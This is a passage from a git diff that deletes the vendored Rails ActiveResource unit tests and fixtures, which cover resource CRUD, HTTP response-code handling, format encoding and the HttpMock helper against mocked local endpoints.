-    assert matz.respond_to?(:name)
-    assert matz.respond_to?(:name=)
-    assert matz.respond_to?(:name?)
-    assert !matz.respond_to?(:super_scalable_stuff)
-  end
-
-  def test_find_by_id_with_custom_prefix
-    addy = StreetAddress.find(1, :params => { :person_id => 1 })
-    assert_kind_of StreetAddress, addy
-    assert_equal '12345 Street', addy.street
-  end
-
-  def test_find_all
-    all = Person.find(:all)
-    assert_equal 2, all.size
-    assert_kind_of Person, all.first
-    assert_equal "Matz", all.first.name
-    assert_equal "David", all.last.name
-  end
-
-  def test_find_first
-    matz = Person.find(:first)
-    assert_kind_of Person, matz
-    assert_equal "Matz", matz.name
-  end
-
-  def test_find_last
-    david = Person.find(:last)
-    assert_kind_of Person, david
-    assert_equal 'David', david.name
-  end
-
-  def test_custom_header
-    Person.headers['key'] = 'value'
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(4) }
-  ensure
-    Person.headers.delete('key')
-  end
-
-  def test_find_by_id_not_found
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(99) }
-    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1) }
-  end
-
-  def test_find_all_by_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/people.xml", {}, @people_david }
-
-    people = Person.find(:all, :from => "/companies/1/people.xml")
-    assert_equal 1, people.size
-    assert_equal "David", people.first.name
-  end
-
-  def test_find_all_by_from_with_options
-    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/people.xml", {}, @people_david }
-
-    people = Person.find(:all, :from => "/companies/1/people.xml")
-    assert_equal 1, people.size
-    assert_equal "David", people.first.name
-  end
-
-  def test_find_all_by_symbol_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/people/managers.xml", {}, @people_david }
-
-    people = Person.find(:all, :from => :managers)
-    assert_equal 1, people.size
-    assert_equal "David", people.first.name
-  end
-
-  def test_find_single_by_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/manager.xml", {}, @david }
-
-    david = Person.find(:one, :from => "/companies/1/manager.xml")
-    assert_equal "David", david.name
-  end
-
-  def test_find_single_by_symbol_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/people/leader.xml", {}, @david }
-
-    david = Person.find(:one, :from => :leader)
-    assert_equal "David", david.name
-  end
-
-  def test_save
-    rick = Person.new
-    assert_equal true, rick.save
-    assert_equal '5', rick.id
-  end
-
-  def test_id_from_response
-    p = Person.new
-    resp = {'Location' => '/foo/bar/1'}
-    assert_equal '1', p.__send__(:id_from_response, resp)
-
-    resp['Location'] << '.xml'
-    assert_equal '1', p.__send__(:id_from_response, resp)
-  end
-
-  def test_id_from_response_without_location
-    p = Person.new
-    resp = {}
-    assert_equal nil, p.__send__(:id_from_response, resp)
-  end
-
-  def test_create_with_custom_prefix
-    matzs_house = StreetAddress.new(:person_id => 1)
-    matzs_house.save
-    assert_equal '5', matzs_house.id
-  end
-
-  # Test that loading a resource preserves its prefix_options.
-  def test_load_preserves_prefix_options
-    address = StreetAddress.find(1, :params => { :person_id => 1 })
-    ryan = Person.new(:id => 1, :name => 'Ryan', :address => address)
-    assert_equal address.prefix_options, ryan.address.prefix_options
-  end
-
-  def test_reload_works_with_prefix_options
-    address = StreetAddress.find(1, :params => { :person_id => 1 })
-    assert_equal address, address.reload
-  end
-
-  def test_reload_with_redefined_to_param
-    Person.module_eval do
-      alias_method :original_to_param_reload, :to_param
-       def to_param
-         name
-       end
-    end
-
-    person = Person.find('Greg')
-    assert_equal person, person.reload
-
-    ensure
-      # revert back to original
-      Person.module_eval do
-        # save the 'new' to_param so we don't get a warning about discarding the method
-        alias_method :reload_to_param, :to_param
-        alias_method :to_param, :original_to_param_reload
-      end
-  end
-
-  def test_reload_works_without_prefix_options
-    person = Person.find(:first)
-    assert_equal person, person.reload
-  end
-
-  def test_create
-    rick = Person.create(:name => 'Rick')
-    assert rick.valid?
-    assert !rick.new?
-    assert_equal '5', rick.id
-
-    # test additional attribute returned on create
-    assert_equal 25, rick.age
-
-    # Test that save exceptions get bubbled up too
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post   "/people.xml", {}, nil, 409
-    end
-    assert_raise(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
-  end
-
-  def test_create_without_location
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post   "/people.xml", {}, nil, 201
-    end
-    person = Person.create(:name => 'Rick')
-    assert_equal nil, person.id
-  end
-
-  def test_clone
-    matz = Person.find(1)
-    matz_c = matz.clone
-    assert matz_c.new?
-    matz.attributes.each do |k, v|
-      assert_equal v, matz_c.send(k) if k != Person.primary_key
-    end
-  end
-
-  def test_nested_clone
-    addy = StreetAddress.find(1, :params => {:person_id => 1})
-    addy_c = addy.clone
-    assert addy_c.new?
-    addy.attributes.each do |k, v|
-      assert_equal v, addy_c.send(k) if k != StreetAddress.primary_key
-    end
-    assert_equal addy.prefix_options, addy_c.prefix_options
-  end
-
-  def test_complex_clone
-    matz = Person.find(1)
-    matz.address = StreetAddress.find(1, :params => {:person_id => matz.id})
-    matz.non_ar_hash = {:not => "an ARes instance"}
-    matz.non_ar_arr = ["not", "ARes"]
-    matz_c = matz.clone
-    assert matz_c.new?
-    assert_raise(NoMethodError) {matz_c.address}
-    assert_equal matz.non_ar_hash, matz_c.non_ar_hash
-    assert_equal matz.non_ar_arr, matz_c.non_ar_arr
-
-    # Test that actual copy, not just reference copy
-    matz.non_ar_hash[:not] = "changed"
-    assert_not_equal matz.non_ar_hash, matz_c.non_ar_hash
-  end
-
-  def test_update
-    matz = Person.find(:first)
-    matz.name = "David"
-    assert_kind_of Person, matz
-    assert_equal "David", matz.name
-    assert_equal true, matz.save
-  end
-
-  def test_update_with_custom_prefix_with_specific_id
-    addy = StreetAddress.find(1, :params => { :person_id => 1 })
-    addy.street = "54321 Street"
-    assert_kind_of StreetAddress, addy
-    assert_equal "54321 Street", addy.street
-    addy.save
-  end
-
-  def test_update_with_custom_prefix_without_specific_id
-    addy = StreetAddress.find(:first, :params => { :person_id => 1 })
-    addy.street = "54321 Lane"
-    assert_kind_of StreetAddress, addy
-    assert_equal "54321 Lane", addy.street
-    addy.save
-  end
-
-  def test_update_conflict
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/2.xml", {}, @david
-      mock.put "/people/2.xml", @default_request_headers, nil, 409
-    end
-    assert_raise(ActiveResource::ResourceConflict) { Person.find(2).save }
-  end
-
-  def test_destroy
-    assert Person.find(1).destroy
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.xml", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
-  end
-
-  def test_destroy_with_custom_prefix
-    assert StreetAddress.find(1, :params => { :person_id => 1 }).destroy
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1/addresses/1.xml", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
-  end
-
-  def test_destroy_with_410_gone
-    assert Person.find(1).destroy
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.xml", {}, nil, 410
-    end
-    assert_raise(ActiveResource::ResourceGone) { Person.find(1).destroy }
-  end
-
-  def test_delete
-    assert Person.delete(1)
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.xml", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(1) }
-  end
-
-  def test_delete_with_custom_prefix
-    assert StreetAddress.delete(1, :person_id => 1)
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1/addresses/1.xml", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
-  end
-  
-  def test_delete_with_410_gone
-    assert Person.delete(1)
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.xml", {}, nil, 410
-    end
-    assert_raise(ActiveResource::ResourceGone) { Person.find(1) }
-  end
-
-  def test_exists
-    # Class method.
-    assert !Person.exists?(nil)
-    assert Person.exists?(1)
-    assert !Person.exists?(99)
-
-    # Instance method.
-    assert !Person.new.exists?
-    assert Person.find(1).exists?
-    assert !Person.new(:id => 99).exists?
-
-    # Nested class method.
-    assert StreetAddress.exists?(1,  :params => { :person_id => 1 })
-    assert !StreetAddress.exists?(1, :params => { :person_id => 2 })
-    assert !StreetAddress.exists?(2, :params => { :person_id => 1 })
-
-    # Nested instance method.
-    assert StreetAddress.find(1, :params => { :person_id => 1 }).exists?
-    assert !StreetAddress.new({:id => 1, :person_id => 2}).exists?
-    assert !StreetAddress.new({:id => 2, :person_id => 1}).exists?
-  end
-
-  def test_exists_with_redefined_to_param
-    Person.module_eval do
-      alias_method :original_to_param_exists, :to_param
-      def to_param
-        name
-      end
-    end
-
-    # Class method.
-    assert Person.exists?('Greg')
-
-    # Instance method.
-    assert Person.find('Greg').exists?
-
-    # Nested class method.
-    assert StreetAddress.exists?(1,  :params => { :person_id => Person.find('Greg').to_param })
-
-    # Nested instance method.
-    assert StreetAddress.find(1, :params => { :person_id => Person.find('Greg').to_param }).exists?
-
-  ensure
-    # revert back to original
-    Person.module_eval do
-      # save the 'new' to_param so we don't get a warning about discarding the method
-      alias_method :exists_to_param, :to_param
-      alias_method :to_param, :original_to_param_exists
-    end
-  end
-
-  def test_exists_without_http_mock
-    http = Net::HTTP.new(Person.site.host, Person.site.port)
-    ActiveResource::Connection.any_instance.expects(:http).returns(http)
-    http.expects(:request).returns(ActiveResource::Response.new(""))
-
-    assert Person.exists?('not-mocked')
-  end
-
-  def test_exists_with_410_gone
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.head "/people/1.xml", {}, nil, 410
-    end
-
-    assert !Person.exists?(1)
-  end
-
-  def test_to_xml
-    matz = Person.find(1)
-    xml = matz.encode
-    assert xml.starts_with?('<?xml version="1.0" encoding="UTF-8"?>')
-    assert xml.include?('<name>Matz</name>')
-    assert xml.include?('<id type="integer">1</id>')
-  end
-
-  def test_to_xml_with_element_name
-    old_elem_name = Person.element_name
-    matz = Person.find(1)
-    Person.element_name = 'ruby_creator'
-    xml = matz.encode
-
-    assert xml.include?('<?xml version="1.0" encoding="UTF-8"?>')
-    assert xml.include?('<ruby-creator>')
-    assert xml.include?('<name>Matz</name>')
-    assert xml.include?('<id type="integer">1</id>')
-    assert xml.include?('</ruby-creator>')
-  ensure
-    Person.element_name = old_elem_name
-  end
-
-  def test_to_json_including_root
-    Person.include_root_in_json = true
-    Person.format = :json
-    joe = Person.find(6)
-    json = joe.encode
-    assert_match '{"person":{"person":{', json
-    assert_match '"name":"Joe"', json
-    assert_match '"id":6', json
-  ensure
-    Person.format = :xml
-    Person.include_root_in_json = false
-  end
-
-  def test_to_json_with_element_name
-    old_elem_name = Person.element_name
-    Person.include_root_in_json = true
-    Person.format = :json
-    joe = Person.find(6)
-    Person.element_name = 'ruby_creator'
-    json = joe.encode
-    Person.format = :xml
-
-    assert_match %r{^\{"ruby_creator":\{"person":\{}, json
-    assert_match %r{"id":6}, json
-    assert_match %r{"name":"Joe"}, json
-    assert_match %r{\}\}\}$}, json
-  ensure
-    Person.element_name = old_elem_name
-    Person.include_root_in_json = false
-  end
-
-  def test_to_param_quacks_like_active_record
-    new_person = Person.new
-    assert_nil new_person.to_param
-    matz = Person.find(1)
-    assert_equal '1', matz.to_param
-  end
-
-  def test_parse_deep_nested_resources
-    luis = Customer.find(1)
-    assert_kind_of Customer, luis
-    luis.friends.each do |friend|
-      assert_kind_of Customer::Friend, friend
-      friend.brothers.each do |brother|
-        assert_kind_of Customer::Friend::Brother, brother
-        brother.children.each do |child|
-          assert_kind_of Customer::Friend::Brother::Child, child
-        end
-      end
-    end
-  end
-
-  def test_load_yaml_array
-    assert_nothing_raised do
-      marty = Person.find(5)
-      assert_equal 3, marty.colors.size
-      marty.colors.each do |color|
-        assert_kind_of String, color
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/test/connection_test.rb b/vendor/rails/activeresource/test/connection_test.rb
deleted file mode 100644
index d7466c65..00000000
--- a/vendor/rails/activeresource/test/connection_test.rb
+++ /dev/null
@@ -1,238 +0,0 @@
-require 'abstract_unit'
-
-class ConnectionTest < Test::Unit::TestCase
-  ResponseCodeStub = Struct.new(:code)
-
-  def setup
-    @conn = ActiveResource::Connection.new('http://localhost')
-    @matz  = { :id => 1, :name => 'Matz' }
-    @david = { :id => 2, :name => 'David' }
-    @people = [ @matz, @david ].to_xml(:root => 'people')
-    @people_single = [ @matz ].to_xml(:root => 'people-single-elements')
-    @people_empty = [ ].to_xml(:root => 'people-empty-elements')
-    @matz = @matz.to_xml(:root => 'person')
-    @david = @david.to_xml(:root => 'person')
-    @header = {'key' => 'value'}.freeze
-
-    @default_request_headers = { 'Content-Type' => 'application/xml' }
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/2.xml", @header, @david
-      mock.get    "/people.xml", {}, @people
-      mock.get    "/people_single_elements.xml", {}, @people_single
-      mock.get    "/people_empty_elements.xml", {}, @people_empty
-      mock.get    "/people/1.xml", {}, @matz
-      mock.put    "/people/1.xml", {}, nil, 204
-      mock.put    "/people/2.xml", {}, @header, 204
-      mock.delete "/people/1.xml", {}, nil, 200
-      mock.delete "/people/2.xml", @header, nil, 200
-      mock.post   "/people.xml",   {}, nil, 201, 'Location' => '/people/5.xml'
-      mock.post   "/members.xml",  {}, @header, 201, 'Location' => '/people/6.xml'
-      mock.head   "/people/1.xml", {}, nil, 200
-    end
-  end
-
-  def test_handle_response
-    # 2xx and 3xx are valid responses.
-    [200, 299, 300, 399].each do |code|
-      expected = ResponseCodeStub.new(code)
-      assert_equal expected, handle_response(expected)
-    end
-
-    # 400 is a bad request (e.g. malformed URI or missing request parameter)
-    assert_response_raises ActiveResource::BadRequest, 400
-
-    # 401 is an unauthorized request
-    assert_response_raises ActiveResource::UnauthorizedAccess, 401
-
-    # 403 is a forbidden requst (and authorizing will not help)
-    assert_response_raises ActiveResource::ForbiddenAccess, 403
-
-    # 404 is a missing resource.
-    assert_response_raises ActiveResource::ResourceNotFound, 404
-
-    # 405 is a missing not allowed error
-    assert_response_raises ActiveResource::MethodNotAllowed, 405
-
-    # 409 is an optimistic locking error
-    assert_response_raises ActiveResource::ResourceConflict, 409
-
-    # 410 is a removed resource
-    assert_response_raises ActiveResource::ResourceGone, 410
-
-    # 422 is a validation error
-    assert_response_raises ActiveResource::ResourceInvalid, 422
-
-    # 4xx are client errors.
-    [402, 499].each do |code|
-      assert_response_raises ActiveResource::ClientError, code
-    end
-
-    # 5xx are server errors.
-    [500, 599].each do |code|
-      assert_response_raises ActiveResource::ServerError, code
-    end
-
-    # Others are unknown.
-    [199, 600].each do |code|
-      assert_response_raises ActiveResource::ConnectionError, code
-    end
-  end
-
-  ResponseHeaderStub = Struct.new(:code, :message, 'Allow')
-  def test_should_return_allowed_methods_for_method_no_allowed_exception
-    begin
-      handle_response ResponseHeaderStub.new(405, "HTTP Failed...", "GET, POST")
-    rescue ActiveResource::MethodNotAllowed => e
-      assert_equal "Failed with 405 HTTP Failed...", e.message
-      assert_equal [:get, :post], e.allowed_methods
-    end
-  end
-
-  def test_initialize_raises_argument_error_on_missing_site
-    assert_raise(ArgumentError) { ActiveResource::Connection.new(nil) }
-  end
-
-  def test_site_accessor_accepts_uri_or_string_argument
-    site = URI.parse("http://localhost")
-
-    assert_raise(URI::InvalidURIError) { @conn.site = nil }
-
-    assert_nothing_raised { @conn.site = "http://localhost" }
-    assert_equal site, @conn.site
-
-    assert_nothing_raised { @conn.site = site }
-    assert_equal site, @conn.site
-  end
-
-  def test_proxy_accessor_accepts_uri_or_string_argument
-    proxy = URI.parse("http://proxy_user:proxy_password@proxy.local:4242")
-
-    assert_nothing_raised { @conn.proxy = "http://proxy_user:proxy_password@proxy.local:4242" }
-    assert_equal proxy, @conn.proxy
-
-    assert_nothing_raised { @conn.proxy = proxy }
-    assert_equal proxy, @conn.proxy
-  end
-
-  def test_timeout_accessor
-    @conn.timeout = 5
-    assert_equal 5, @conn.timeout
-  end
-
-  def test_get
-    matz = @conn.get("/people/1.xml")
-    assert_equal "Matz", matz["name"]
-  end
-
-  def test_head
-    response = @conn.head("/people/1.xml")
-    assert response.body.blank?
-    assert_equal 200, response.code
-  end
-
-  def test_get_with_header
-    david = @conn.get("/people/2.xml", @header)
-    assert_equal "David", david["name"]
-  end
-
-  def test_get_collection
-    people = @conn.get("/people.xml")
-    assert_equal "Matz", people[0]["name"]
-    assert_equal "David", people[1]["name"]
-  end
-  
-  def test_get_collection_single
-    people = @conn.get("/people_single_elements.xml")
-    assert_equal "Matz", people[0]["name"]
-  end
-  
-  def test_get_collection_empty
-    people = @conn.get("/people_empty_elements.xml")
-    assert_equal [], people
-  end
-
-  def test_post
-    response = @conn.post("/people.xml")
-    assert_equal "/people/5.xml", response["Location"]
-  end
-
-  def test_post_with_header
-    response = @conn.post("/members.xml", @header)
-    assert_equal "/people/6.xml", response["Location"]
-  end
-
-  def test_put
-    response = @conn.put("/people/1.xml")
-    assert_equal 204, response.code
-  end
-
-  def test_put_with_header
-    response = @conn.put("/people/2.xml", @header)
-    assert_equal 204, response.code
-  end
-
-  def test_delete
-    response = @conn.delete("/people/1.xml")
-    assert_equal 200, response.code
-  end
-
-  def test_delete_with_header
-    response = @conn.delete("/people/2.xml", @header)
-    assert_equal 200, response.code
-  end
-
-  def test_timeout
-    @http = mock('new Net::HTTP')
-    @conn.expects(:http).returns(@http)
-    @http.expects(:get).raises(Timeout::Error, 'execution expired')
-    assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') }
-  end
-
-  def test_setting_timeout
-    http = Net::HTTP.new('')
-
-    [10, 20].each do |timeout|
-      @conn.timeout = timeout
-      @conn.send(:configure_http, http)
-      assert_equal timeout, http.open_timeout
-      assert_equal timeout, http.read_timeout
-    end
-  end
-
-  def test_accept_http_header
-    @http = mock('new Net::HTTP')
-    @conn.expects(:http).returns(@http)
-    path = '/people/1.xml'
-    @http.expects(:get).with(path,  {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'}))
-    assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) }
-  end
-
-  def test_ssl_options_get_applied_to_http
-    http = Net::HTTP.new('')
-    @conn.site="https://secure"
-    @conn.ssl_options={:verify_mode => OpenSSL::SSL::VERIFY_PEER}
-    @conn.timeout = 10 # prevent warning about uninitialized.
-    @conn.send(:configure_http, http)
-
-    assert http.use_ssl?
-    assert_equal http.verify_mode, OpenSSL::SSL::VERIFY_PEER
-  end
-
-  def test_ssl_error
-    http = Net::HTTP.new('')
-    @conn.expects(:http).returns(http)
-    http.expects(:get).raises(OpenSSL::SSL::SSLError, 'Expired certificate')
-    assert_raise(ActiveResource::SSLError) { @conn.get('/people/1.xml') }
-  end
-
-  protected
-    def assert_response_raises(klass, code)
-      assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
-        handle_response ResponseCodeStub.new(code)
-      end
-    end
-
-    def handle_response(response)
-      @conn.__send__(:handle_response, response)
-    end
-end
diff --git a/vendor/rails/activeresource/test/fixtures/beast.rb b/vendor/rails/activeresource/test/fixtures/beast.rb
deleted file mode 100644
index e31ec583..00000000
--- a/vendor/rails/activeresource/test/fixtures/beast.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class BeastResource < ActiveResource::Base
-  self.site = 'http://beast.caboo.se'
-  site.user = 'foo'
-  site.password = 'bar'
-end
-
-class Forum < BeastResource
-  # taken from BeastResource
-  # self.site = 'http://beast.caboo.se'
-end
-
-class Topic < BeastResource
-  self.site += '/forums/:forum_id'
-end
diff --git a/vendor/rails/activeresource/test/fixtures/customer.rb b/vendor/rails/activeresource/test/fixtures/customer.rb
deleted file mode 100644
index 845d5d11..00000000
--- a/vendor/rails/activeresource/test/fixtures/customer.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Customer < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-end
diff --git a/vendor/rails/activeresource/test/fixtures/person.rb b/vendor/rails/activeresource/test/fixtures/person.rb
deleted file mode 100644
index e88bb693..00000000
--- a/vendor/rails/activeresource/test/fixtures/person.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Person < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-end
diff --git a/vendor/rails/activeresource/test/fixtures/proxy.rb b/vendor/rails/activeresource/test/fixtures/proxy.rb
deleted file mode 100644
index bb8e015d..00000000
--- a/vendor/rails/activeresource/test/fixtures/proxy.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class ProxyResource < ActiveResource::Base
-  self.site = "http://localhost"
-  self.proxy = "http://user:password@proxy.local:3000"
-end
\ No newline at end of file
diff --git a/vendor/rails/activeresource/test/fixtures/street_address.rb b/vendor/rails/activeresource/test/fixtures/street_address.rb
deleted file mode 100644
index 94a86702..00000000
--- a/vendor/rails/activeresource/test/fixtures/street_address.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class StreetAddress < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000/people/:person_id/"
-  self.element_name = 'address'
-end
diff --git a/vendor/rails/activeresource/test/format_test.rb b/vendor/rails/activeresource/test/format_test.rb
deleted file mode 100644
index c3733e13..00000000
--- a/vendor/rails/activeresource/test/format_test.rb
+++ /dev/null
@@ -1,112 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/street_address"
-
-class FormatTest < Test::Unit::TestCase
-  def setup
-    @matz  = { :id => 1, :name => 'Matz' }
-    @david = { :id => 2, :name => 'David' }
-
-    @programmers = [ @matz, @david ]
-  end
-
-  def test_http_format_header_name
-    header_name = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:get]
-    assert_equal 'Accept', header_name
-
-    headers_names = [ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:put], ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:post]]
-    headers_names.each{ |name| assert_equal 'Content-Type', name }
-  end
-
-  def test_formats_on_single_element
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.get "/people/1.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
-        assert_equal @david[:name], Person.find(1).name
-      end
-    end
-  end
-
-  def test_formats_on_collection
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.get "/people.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@programmers)
-        remote_programmers = Person.find(:all)
-        assert_equal 2, remote_programmers.size
-        assert remote_programmers.select { |p| p.name == 'David' }
-      end
-    end
-  end
-
-  def test_formats_on_custom_collection_method
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.get "/people/retrieve.#{format}?name=David", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode([@david])
-        remote_programmers = Person.get(:retrieve, :name => 'David')
-        assert_equal 1, remote_programmers.size
-        assert_equal @david[:id], remote_programmers[0]['id']
-        assert_equal @david[:name], remote_programmers[0]['name']
-      end
-    end
-  end
-
-  def test_formats_on_custom_element_method
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to do |mock|
-          mock.get "/people/2.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
-          mock.get "/people/2/shallow.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
-        end
-        remote_programmer = Person.find(2).get(:shallow)
-        assert_equal @david[:id], remote_programmer['id']
-        assert_equal @david[:name], remote_programmer['name']
-      end
-    end
-
-    for format in [ :json, :xml ]
-      ryan = ActiveResource::Formats[format].encode({ :name => 'Ryan' })
-      using_format(Person, format) do
-        remote_ryan = Person.new(:name => 'Ryan')
-        ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, {'Location' => "/people/5.#{format}"}
-        remote_ryan.save
-
-        remote_ryan = Person.new(:name => 'Ryan')
-        ActiveResource::HttpMock.respond_to.post "/people/new/register.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, {'Location' => "/people/5.#{format}"}
-        assert_equal ActiveResource::Response.new(ryan, 201, {'Location' => "/people/5.#{format}"}), remote_ryan.post(:register)
-      end
-    end
-  end
-
-  def test_setting_format_before_site
-    resource = Class.new(ActiveResource::Base)
-    resource.format = :json
-    resource.site   = 'http://37s.sunrise.i:3000'
-    assert_equal ActiveResource::Formats[:json], resource.connection.format
-  end
-
-  def test_serialization_of_nested_resource
-    address  = { :street => '12345 Street' }
-    person  = { :name=> 'Rus', :address => address}
-
-    [:json, :xml].each do |format|
-      encoded_person = ActiveResource::Formats[format].encode(person)
-      assert_match(/12345 Street/, encoded_person)
-      remote_person = Person.new(person.update({:address => StreetAddress.new(address)}))
-      assert_kind_of StreetAddress, remote_person.address
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, encoded_person, 201, {'Location' => "/people/5.#{format}"}
-        remote_person.save
-      end
-    end
-  end
-
-  private
-    def using_format(klass, mime_type_reference)
-      previous_format = klass.format
-      klass.format = mime_type_reference
-
-      yield
-    ensure
-      klass.format = previous_format
-    end
-end
diff --git a/vendor/rails/activeresource/test/http_mock_test.rb b/vendor/rails/activeresource/test/http_mock_test.rb
deleted file mode 100644
index 02ef115b..00000000
--- a/vendor/rails/activeresource/test/http_mock_test.rb
+++ /dev/null
@@ -1,155 +0,0 @@
-require 'abstract_unit'
-
-class HttpMockTest < ActiveSupport::TestCase
-  def setup
-    @http = ActiveResource::HttpMock.new("http://example.com")
-  end
-
-  FORMAT_HEADER = { :get => 'Accept',
-                    :put => 'Content-Type',
-                    :post => 'Content-Type',
-                    :delete => 'Accept',
-                    :head => 'Accept'
-                  }
-
-  [:post, :put, :get, :delete, :head].each do |method|
-    test "responds to simple #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {FORMAT_HEADER[method] => "application/xml"}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/xml").body
-    end
-
-    test "adds format header by default to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/xml").body
-    end
-
-    test "respond only when headers match header by default to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {"X-Header" => "X"}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", "X-Header" => "X").body
-      assert_raise(ActiveResource::InvalidRequestError) { request(method, "/people/1") }
-    end
-
-    test "does not overwrite format header to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {FORMAT_HEADER[method] => "application/json"}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-    end
-
-    test "ignores format header when there is only one response to same url in a #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/xml").body
-    end
-
-    test "responds correctly when format header is given to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {FORMAT_HEADER[method] => "application/xml"}, "XML")
-        mock.send(method, "/people/1", {FORMAT_HEADER[method] => "application/json"}, "Json")
-      end
-
-      assert_equal "XML", request(method, "/people/1", FORMAT_HEADER[method] => "application/xml").body
-      assert_equal "Json", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-    end
-
-    test "raises InvalidRequestError if no response found for the #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {FORMAT_HEADER[method] => "application/xml"}, "XML")
-      end
-
-      assert_raise(::ActiveResource::InvalidRequestError) do
-        request(method, "/people/1", FORMAT_HEADER[method] => "application/json")
-      end
-    end
-    
-  end
-
-  test "allows you to send in pairs directly to the respond_to method" do
-    matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-    
-    create_matz = ActiveResource::Request.new(:post, '/people.xml', matz, {})
-    created_response = ActiveResource::Response.new("", 201, {"Location" => "/people/1.xml"})
-    get_matz = ActiveResource::Request.new(:get, '/people/1.xml', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-    
-    pairs = {create_matz => created_response, get_matz => ok_response}
-    
-    ActiveResource::HttpMock.respond_to(pairs)
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-    assert_equal "", ActiveResource::HttpMock.responses.assoc(create_matz)[1].body
-    assert_equal matz, ActiveResource::HttpMock.responses.assoc(get_matz)[1].body
-  end
-
-  test "resets all mocked responses on each call to respond_to with a block by default" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "XML1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/2", {}, "XML2")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-  end
-
